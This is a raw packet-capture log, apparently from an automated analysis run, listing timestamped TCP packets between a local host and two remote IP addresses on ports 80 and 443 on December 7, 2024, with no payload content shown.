Dec 7, 2024 22:40:39.832529068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.832573891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.832638979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.832683086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.833451986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.833503962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.833553076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.833590984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.834335089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.834378958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.834450006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.834496975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.835273027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.835333109 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.835683107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.835724115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.836262941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.836308002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.836338043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.836380005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.837212086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.837255955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.837624073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.837668896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.838133097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.838176966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.838270903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.838315964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.839057922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.839107037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.839158058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.839200974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.840033054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.840080023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.840214968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.840260029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.840945005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.840991974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.841028929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.841073990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.841943979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.841989040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.842132092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.842175007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.842554092 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.842581034 CET	443	49795	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.842854977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.842904091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.842982054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.843025923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.843784094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.843832970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.843885899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.843929052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.844732046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.844773054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.844813108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.844855070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.845700979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.845746994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.845850945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.845899105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.846632004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.846678019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.846736908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.846781969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.847558975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.847608089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.847686052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.847726107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.848571062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.848619938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.848684072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.848728895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.849498034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.849545002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.849704981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.849750042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.850433111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.850478888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.850564003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.850606918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.851391077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.851435900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.851480007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.851524115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.852277994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.852324963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.852425098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.852468014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.853224039 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.853272915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.853382111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.853425980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.854163885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.854209900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.854465008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.854506969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.855103016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.855154991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.855243921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.855289936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.856156111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.856204033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.856220961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.856262922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.857023001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.857070923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.857136965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.857172012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.857976913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.858021021 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.858031034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.858053923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.858912945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.858961105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.858966112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.859009981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.859894037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.859944105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.002619982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.002928019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.003015041 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.003396988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.003550053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.003602028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.004270077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.004313946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.004416943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.005242109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.005253077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.005295038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.006016016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.006062031 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.006293058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.007066965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.007077932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.007086039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.007108927 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.007118940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.008047104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.008059025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.008104086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.008799076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.008968115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.009015083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.009895086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.009907007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.009938955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.010730982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.010742903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.010780096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.011809111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.011821985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.011868000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.012620926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.012630939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.012670040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.013566017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.013627052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.013693094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.014503956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.015328884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.015403032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.015585899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.015597105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.015634060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.015662909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.016396999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.016464949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.016520977 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.017318964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.017347097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.017400980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.018610954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.018621922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.018671036 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.019593000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.019606113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.019661903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.020243883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.020256996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.020297050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.021167994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.021313906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.021333933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.021377087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.022125006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.022169113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.022258997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.023056984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.023070097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.023104906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.023143053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.023966074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.024055958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.024101973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.024926901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.025085926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.025105953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.025813103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.025861979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.068188906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.187737942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.229185104 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.230129957 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.230144024 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.230618000 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.230623960 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.505048037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.505145073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.505255938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.505466938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.505522966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.505615950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.505686998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.505726099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.506578922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.506664038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.506715059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.506851912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.507540941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.507610083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.507688999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.507730007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.508486986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.508559942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.508598089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.508646965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.508990049 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.509387970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.509443045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.509471893 CET	49797	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.509494066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.509493113 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.509538889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.510060072 CET	49797	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.510068893 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.510143995 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.510179996 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.510328054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.510370970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.510430098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.510478973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.510478973 CET	49798	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.510493994 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.510826111 CET	49799	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.510838032 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.510874987 CET	49798	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.510879993 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.511285067 CET	49799	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.511291981 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.511302948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.511389971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.511400938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.511415958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.512334108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.512394905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.512592077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.512640953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.513314962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.513358116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.513372898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.513396025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.514130116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.514194012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.514200926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.514240026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.515095949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.515147924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.515202045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.515248060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.515995979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.516043901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.516108990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.516150951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.516944885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.516992092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.517060041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.517100096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.517894983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.518085957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.518265009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.518313885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.518837929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.518893003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.518930912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.518970013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.519813061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.519862890 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.519897938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.519948006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.520775080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.520833015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.520972013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.521011114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.521672010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.521718979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.521784067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.521825075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.522604942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.522650957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.522696018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.522735119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.523616076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.523665905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.523680925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.523725033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.524549007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.524599075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.524718046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.524794102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.525468111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.525515079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.525552988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.525590897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.526438951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.526612043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.526645899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.526645899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.527348995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.527390003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.527432919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.527475119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.528340101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.528393030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.528672934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.528723001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.529227018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.529275894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.529320955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.529360056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.530164957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.530219078 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.530311108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.530355930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.531115055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.531172991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.531214952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.531253099 CET	49790	80	192.168.2.6	185.215.113.206
